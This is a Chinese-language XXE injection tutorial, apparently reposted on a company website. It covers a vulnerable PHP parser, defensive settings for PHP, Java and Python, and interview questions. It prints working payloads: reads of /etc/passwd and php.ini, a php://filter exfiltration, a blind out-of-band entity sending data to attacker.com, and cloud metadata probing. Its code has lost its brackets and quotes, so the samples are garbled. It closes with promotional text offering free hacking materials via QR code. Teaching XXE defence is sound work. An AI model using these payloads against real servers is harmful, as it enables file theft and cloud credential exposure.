资讯动态

一文详解渗透测试之XEE外部实体注入—漏洞原理、攻击手法、xml语言结构、防御手法保姆级教程!

发布时间:2026/8/28 11:27:52 来源:尧图企业网站定制
文章目录原理XXE 攻击的核心原理XML 语言解释什么是 XML 语言XML 的特点XML 与 XXE 的关系以 PHP 举例 XML 外部实体注入示例代码存在漏洞攻击 Payload执行过程输出结果假设 Linux 服务器XML 语言结构文档结构包含以下三个部分DTD 中的实体声明攻击代码DTD Payload面试题目XXE 漏洞修复与防御如何寻找 XXE 漏洞修复与防御方法1\. XXE 漏洞的检测工具2\. 真实案例3\. 最新技术趋势2025 年一、网络安全黑客学习路线二、网络安全教程视频**三、网络安全CTF实战案例**四、网络安全面试题原理XXEXML External Entity InjectionXML 外部实体注入是一种针对解析 XML 输入的应用程序的攻击技术。攻击者通过构造恶意的 XML 输入利用 XML 解析器对外部实体的支持执行非预期的操作例如读取本地文件、发起网络请求或执行系统命令。XXE 攻击的核心原理XML 外部实体引用XML 支持定义外部实体External Entity通过SYSTEM或PUBLIC关键字引用外部资源如文件或 URL。解析器未限制外部实体如果 XML 解析器未禁用外部实体加载攻击者可通过注入恶意实体触发解析器访问受控资源。危害性文件泄露读取服务器敏感文件如/etc/passwd。拒绝服务DoS利用实体递归定义如 Billion Laughs 攻击耗尽资源。内网探测通过构造请求访问内网资源。命令执行高级场景结合特定协议如gopher触发命令。扩展知识点最新趋势2025 年随着云服务的普及XXE 攻击常用于云配置文件的泄露如 AWS 的metadata接口。变种攻击如 Blind XXE无回显场景通过带外通道OOB提取数据。XML 语言解释什么是 XML 语言XMLExtensible Markup Language可扩展标记语言是一种用于存储和传输数据的标记语言设计目标是结构化、可读性强且跨平台兼容。XML 不像 HTML 专注于显示而是更注重数据的语义和结构。XML 的特点自定义标签用户可根据需求定义标签如user、name。层次结构通过嵌套形成树状结构便于解析。可扩展性支持通过 DTD 或 Schema 定义数据规则。实体支持内置实体机制用于引用外部或内部数据。XML 与 XXE 的关系XXE 漏洞源于 XML 的实体引用功能尤其是外部实体External Entity。如果应用程序未正确配置 XML 解析器攻击者可利用实体注入恶意代码。扩展知识点XML 的历史1998 年由 W3C 标准化广泛应用于 Web 服务如 SOAP、REST API。与 JSON 的对比JSON 更轻量但不支持实体定义因此无 XXE 风险。以 PHP 举例 XML 外部实体注入PHP 是 Web 开发中常用的语言其 XML 解析库如SimpleXML或DOMDocument如果未正确配置容易遭受 XXE 攻击。以下是一个典型的 PHP XXE 漏洞示例。示例代码存在漏洞?php $xml file\_get\_contents(php://input); // 接收用户输入的 XML $doc new DOMDocument(); $doc-loadXML($xml); // 解析 XML未禁用外部实体 echo $doc-textContent; // 输出解析结果 ?攻击 Payload?xml version1.0 encodingUTF-8? !DOCTYPE root \[ !ENTITY xxe SYSTEM file:///etc/passwd \] rootxxe;/root执行过程攻击者通过 POST 请求发送上述 Payload。PHP 的DOMDocument解析 XML 时触发外部实体xxe读取/etc/passwd文件。服务器返回文件内容泄露敏感信息。输出结果假设 Linux 服务器root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin ...扩展知识点PHP 环境下的其他解析器SimpleXMLElement默认启用外部实体。XMLReader需手动禁用实体加载。高级利用读取 PHP 配置文件!ENTITY xxe SYSTEM file:///etc/php.ini。结合php://filter!ENTITY xxe SYSTEM php://filter/convert.base64-encode/resource/etc/passwd将文件内容转为 Base64 编码输出。XML 语言结构XML 的结构由以下核心部分组成XXE 攻击主要利用其中的 DTD文档类型定义部分。文档结构包含以下三个部分XML 声明示例?xml version1.0 encodingUTF-8?作用定义 XML 版本和字符编码。DTD文档类型定义定义文档的结构和规则支持实体声明。类型内部声明 DTD!DOCTYPE root \[ !ELEMENT root (#PCDATA) \]引用外部 DTD!DOCTYPE root SYSTEM external.dtd !DOCTYPE root PUBLIC -//W3C//DTD XHTML 1.0 Transitional//EN http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd文档元素示例rootchildData/child/root作用承载具体数据。DTD 中的实体声明实体是 XML 中用于定义可重用内容的机制XXE 攻击主要利用外部实体。内部声明实体!ENTITY name lady\_killer9调用rootname;/root输出lady_killer9。引用外部实体!ENTITY xxe SYSTEM file:///etc/passwd !ENTITY xxe PUBLIC -//W3C//ENT http://example.com/data.txt调用rootxxe;/root触发外部资源加载。攻击代码DTD Payload以下是常见的 XXE Payload用于读取文件?xml version1.0 encodingUTF-8? !DOCTYPE root \[ !ENTITY xxe SYSTEM file:///etc/passwd \] rootxxe;/root扩展知识点参数实体!DOCTYPE root \[ !ENTITY % xxe SYSTEM file:///etc/passwd !ENTITY data %xxe; \] rootdata;/root作用参数实体以%开头只能在 DTD 内部引用常用于复杂攻击。最新利用利用data:协议加载 Base64 编码内容避免直接文件路径!ENTITY xxe SYSTEM data:text/plain;base64,SGVsbG8gV29ybGQ面试题目以下是常见的 XXE 漏洞相关面试题目及其解答帮助您在面试中脱颖而出。什么是 XXE 漏洞其原理是什么答XXE 是 XML 外部实体注入漏洞原理是攻击者通过构造恶意 XML利用解析器加载外部实体执行文件读取等操作。如何检测一个系统是否存在 XXE 漏洞答抓包分析请求头如Accept: application/xml修改数据格式为 XML注入测试 Payload如!ENTITY xxe SYSTEM file:///etc/passwd观察响应。XXE 的危害有哪些如何防御答危害包括文件泄露、DoS、内网探测防御方法包括禁用外部实体、升级解析库、使用白名单过滤。扩展题目Blind XXE 如何利用答通过带外通道OOB发送数据如!ENTITY % xxe SYSTEM http://attacker.com/?data%payload;XXE 漏洞修复与防御如何寻找 XXE 漏洞抓包检查 Accept 头查看服务器是否接受application/xml或text/xml。工具Burp Suite。修改数据类型将 JSON 请求改为 XML如Content-Type: application/xml注入 Payload 测试。示例POST /api HTTP/1.1 Content-Type: application/xml ?xml version1.0?!DOCTYPE root \[!ENTITY xxe SYSTEM file:///etc/passwd\]rootxxe;/root修复与防御方法提高版本使用最新版本的 XML 解析库避免已知漏洞。代码修复PHPlibxml\_disable\_entity\_loader(true); // 禁用外部实体加载 $doc new DOMDocument(); $doc-loadXML($xml);JavaDocumentBuilderFactory dbf DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false); // 禁用实体扩展 dbf.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true); // 禁用 DTD dbf.setFeature(http://xml.org/sax/features/external-general-entities, false); // 禁用外部实体 dbf.setFeature(http://xml.org/sax/features/external-parameter-entities, false);Pythonfrom lxml import etree parser etree.XMLParser(resolve\_entitiesFalse) # 禁用实体解析 xmlData etree.parse(input.xml, parser)手动黑名单过滤不推荐过滤关键词!DOCTYPE、!ENTITY、SYSTEM、PUBLIC。局限性易被绕过如大小写变种、编码绕过。扩展防御WAFWeb 应用防火墙配置规则拦截恶意 XML 输入。沙箱隔离在沙箱中解析 XML限制文件访问。最新趋势结合 AI 检测异常 XML 流量提升防御效果。1. XXE 漏洞的检测工具Burp Suite通过 Intruder 模块发送 Payload 测试。XXEinjector自动化检测工具支持 Blind XXE。python xxeinjector.py -u http://target.com/api -p payload.xml2. 真实案例某 CMS 系统 XXE 漏洞漏洞点上传 XML 文件的接口未禁用外部实体。Payload读取/etc/passwd并通过 OOB 返回。修复升级解析库禁用 DTD。3. 最新技术趋势2025 年云环境下的 XXE攻击者利用 XXE 读取云实例元数据如http://169.254.169.254/latest/meta-data/。AI 检测与对抗杀软使用机器学习识别 XXE Payload红队则通过对抗性样本绕过。以上就是今天的分享觉得有帮助记得点赞收藏以上所说到的漏洞扫描工具都整理成压缩包了朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】同时还为准备学习网络安全黑客或者正在学习整理了一套360独家内部资料包含以下内容如有需要也可文末获取①网络安全学习路线②20份渗透测试电子书③安全攻防357页笔记④50份安全攻防面试指南⑤安全红队渗透工具包⑥网络安全必备书籍⑦100个漏洞实战案例⑧安全大厂内部视频资源⑨历年CTF夺旗赛题解析一、网络安全黑客学习路线网络安全黑客学习路线形成网络安全领域所有的知识点汇总它的用处就在于你可以按照上面的知识点去找对应的学习资源保证自己学得较为全面。二、网络安全教程视频我们在看视频学习的时候不能光动眼动脑不动手比较科学的学习方法是在理解之后运用它们这时候练手项目就很适合了。三、网络安全CTF实战案例光学理论是没用的要学会跟着一起敲要动手实操才能将自己的所学运用到实际当中去这里带来的是CTFSRC资料HW资料毕竟实战是检验真理的唯一标准嘛~四、网络安全面试题最后我们所有的作为都是为就业服务的所以关键的临门一脚就是咱们的面试题内容所以面试题板块是咱们不可或缺的部分这里我给大家准备的就是我在面试期间准备的资料。网安其实不难难的是坚持和相信自己我的经验是既然已经选定网安你就要相信它相信它能成为你日后进阶的高效渠道这样自己才会更有信念去学习才能在碰到困难的时候坚持下去。机会属于有准备的人这是一个实力的时代。人和人之间的差距不在于智商而在于如何利用业余时间只要你想学习什么时候开始都不晚不要担心这担心那你只需努力剩下的交给时间这份完整版的网络安全学习资料已经上传CSDN朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价